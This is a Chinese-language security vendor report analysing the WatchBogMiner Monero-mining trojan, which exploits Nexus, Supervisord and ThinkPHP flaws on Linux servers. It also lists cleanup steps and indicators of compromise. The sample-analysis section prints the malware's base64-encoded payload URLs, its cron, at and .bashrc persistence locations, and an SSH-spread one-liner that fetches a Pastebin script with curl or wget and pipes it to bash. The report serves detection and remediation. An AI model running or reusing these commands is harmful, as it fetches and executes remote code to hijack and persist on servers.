WatchBogMiner木马发起漏洞攻击,已控制上万台Linux服务器挖矿

2020-07-23 来源:原创 作者:腾讯电脑管家
【文章摘要】腾讯安全威胁情报中心检测到针对Linux服务器进行攻击的WatchBogMiner变种挖矿木马。该木马利用NexusRepositoryManager、Supervisord、ThinkPHP等服务器组件的远程代码执行漏洞进行攻击,在失陷机器安装多种类型的持久化攻击代码,然后植入门罗币挖矿木马进行挖矿,推测已有上万台Linux服务器被黑客控制。腾讯安全专家建议企业网管对Linux服务器进行安全检测,及时清除挖矿木马,避免遭遇更严重的损失。

一、背景

腾讯安全威胁情报中心检测到针对Linux服务器进行攻击的WatchBogMiner变种挖矿木马。该木马利用Nexus Repository ManagerSupervisordThinkPHP等服务器组件的远程代码执行漏洞进行攻击,在失陷机器安装多种类型的持久化攻击代码,然后植入门罗币挖矿木马进行挖矿,腾讯安全专家根据木马使用的算力资源推测已有上万台Linux服务器被黑客控制。

木马通过第三方网站Pastebin保存恶意代码以躲避检测,并且通过各类方法进行持久化,定期拉取挖矿木马加载到内存执行,同时会在启动后删除木马文件以达到“隐身”目的。和其他挖矿木马类似,WatchBogMiner木马挖矿时,会清除其他挖矿木马以独占服务器。WatchBogMiner变种攻击代码还会通过失陷机器已认证过的SSH RSA进行SSH连接和执行远程命令进行横向移动,以扩大其影响范围。根据其钱包算力(120Kh/s)推测,木马已控制约1万台服务器进行挖矿。

腾讯安全专家建议企业网管对Linux服务器进行安全检测,及时清除挖矿木马,及时修复服务器组件存在的高危漏洞,避免遭遇更严重的损失。


二、样本分析

WatchBogMiner使用Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238)Supervisord远程命令执行漏洞(CVE-2017-11610)ThinkPHP远程命令执行漏洞的EXP代码对服务器进行扫描和攻击,并通过Payload执行http[:]//pastebin.com/raw/1eDKHr4r。失陷机器被安装的恶意定时任务如下:


为逃避检测,攻击者使用第三方网站Pastebin来保存恶意代码,该网站不会被网络防御方判断为恶意网站。WatchBogMiner变种用于存放恶意代码的Pastebin账号为"LISTTIME",创建于2020420日。

http[:]//pastebin.com/raw/1eDKHr4r跳转http[:]//pastebin.com/raw/UhUmR517


UhUmR517”上保存的内容经过base64解码后,会得到以下shell脚本,包括有system()cronhigh()gettarfile()download()testa()kill_miner_proc()等函数,会完成持久化、挖矿、横向移动等功能,是该病毒的主要攻击脚本。

脚本首先定义了4个变量,内容分别如下:

house=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzFlREtIcjRy|base64 -d)
park=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2I1eDFwUnpL|base64 -d)
beam=$(echo c2FkYW42NjYueHl6OjkwODAvcnI=|base64 -d)
deep=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1NqaldldlRz|base64 -d)
surf=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3R5am5UUVRB|base64 -d)


经过base64解码后:

house= http[:]//pastebin.com/raw/1eDKHr4r

park= http[:]//pastebin.com/raw/b5x1pRzK

beam= sadan666.xyz:9080/rr

deep= http[:]//pastebin.com/raw/SjjWevTs

surf= http[:]//pastebin.com/raw/tyjnTQTA

持续化模块通过多种方式定期执行远程shell脚本:

1.system()函数通过写入/etc/crontab文件,创建定时任务。

2.cronhigh()通过写入以下文件创建定时任务。

/var/spool/cron/root

/var/spool/cron/crontabs/root

/etc/cron.d/system

/etc/cron.d/apache

/etc/cron.d/root

/etc/cron.hourly/oanacroane

/etc/cron.daily/oanacroane

/etc/cron.monthly/oanacroane


3.cronlow()通过crontab命令创建定时任务。


4.cronbackup()通过at命令:echo "$pay" | at -m now + 1 minute添加定时任务,通过后台隐藏执行一段带有while循环的脚本:"while true; do sleep 600 && $pay; done",同样达到定时任务效果。


5.cronc()通过写入环境变量文件"/home/$me/.bashrc""/root/.bashrc"执行定时任务。


挖矿模块为download()testa(),分别从http[:]//pastebin.com/raw/GMdeWqec

http[:]//pastebin.com/raw/Esctfgrx下载$mi_64$st_64,经过解码后得到XMRigxmr-stak修改而成的挖矿程序,保存为:

/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/javaUpDates(最初被发现时该文件名为watchbog


然后从http[:]//pastebin.com/raw/SB0TYBvG下载得到挖矿配置文件。

矿池:pool.minexmr.com:80

钱包:

48S8kPXdSgubJYsMhpRTr4Ct1nznDzV9ohNMEbmKzgeJLwWPV2QfKzsNRDYoxWWMAdTW69EVBhRQuFr7BiCsMQoU9xAKW4U


对比新版和旧版的挖矿木马启动代码,发现新版代码在释放和启动挖矿木马之后,会sleep 15秒,然后通过rm -rf 命令将挖矿木马文件删除。

由于Linux系统进程启动时,会将文件完全映射到内存中,所以启动之后删除文件不影响已经在运行中的进程,木马用这一方法来抹掉文件痕迹从而达到隐身。木马已通过各类持久化任务定期拉取挖矿木马并加载到内存执行,即使每次执行后删除文件,也能达到挖矿进程长期驻留系统的效果。


该钱包目前挖矿获得门罗币28XMR,折合人民币13600元,矿池算力维持在120kH/s左右,这意味着持续有1万台左右的服务器被控制挖矿。


脚本还会通过Kill_miner_proc()找到并清除竞品挖矿木马。


通过Kill_sus_proc()杀死高占用CPU的可疑进程。


变种新增横向移动模块,获取/root/.ssh/known_hosts中保存的已通过SSH RSA公钥认证的IP,重新进行SSH登陆并执行远程命令进行内网扩散攻击:

curl -fsSL http[:]//pastebin.com/raw/UhUmR517||wget -q -O - http[:]//pastebin.com/raw/UhUmR517)|base64 -d|bash >/dev/null 2>&1 &


三、手动清除建议

1、检查是否有高CPU占用的进程javaUpDateskill掉该进程:

映像文件路径(可能已被删除):/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/javaUpDates

2、检查以下文件是否有包含“sadan666.xyz:9080/rr”的定时任务,如有将其删除:

/etc/crontab

/var/spool/cron/root

/var/spool/cron/crontabs/root

/etc/cron.d/system

/etc/cron.d/apache

/etc/cron.d/root

/etc/cron.hourly/oanacroane

/etc/cron.daily/oanacroane

/etc/cron.monthly/oanacroane

同时通过crontab命令检查有无“sadan666.xyz:9080/rr”相关定时任务,如有将其删除。

3、过atq命令查找at任务队列,删除“sadan666.xyz:9080/rr”相关作业。

4、检查是否存在进程/tmp/crun,如果该进程每10分钟请求一次

sadan666.xyz:9080/rr”,Kill掉该进程。

5、检查配置文件"/home/$me/.bashrc""/root/.bashrc"是否包含“sadan666.xyz:9080/rr”相关内容,如有将其删除。


IOCs

Domain

sadan666.xyz

IP

104.236.66.189

URL

http[:]//pastebin.com/raw/1eDKHr4r

http[:]//pastebin.com/raw/UhUmR517

http[:]//pastebin.com/raw/b5x1pRzK

http[:]//sadan666.xyz:9080/rr

http[:]//pastebin.com/raw/SjjWevTs

http[:]//pastebin.com/raw/tyjnTQTA

http[:]//pastebin.com/raw/Esctfgrx

http[:]//pastebin.com/raw/GMdeWqec

http[:]//pastebin.com/raw/SB0TYBvG

http[:]//pastebin.com/raw/Zkz0d9Jz

http[:]//pastebin.com/raw/mvSEGmR6

md5

mi_64 88b658853b9ececc48f5cac2b7b3f6f6

st_64 ad17226de6cc93977fb7c22c7a27ea8e

钱包:

48S8kPXdSgubJYsMhpRTr4Ct1nznDzV9ohNMEbmKzgeJLwWPV2QfKzsNRDYoxWWMAdTW69EVBhRQuFr7BiCsMQoU9xAKW4U

电脑管家V13.6

游戏助手全新升级

详情>>

版本更新:2020.08.27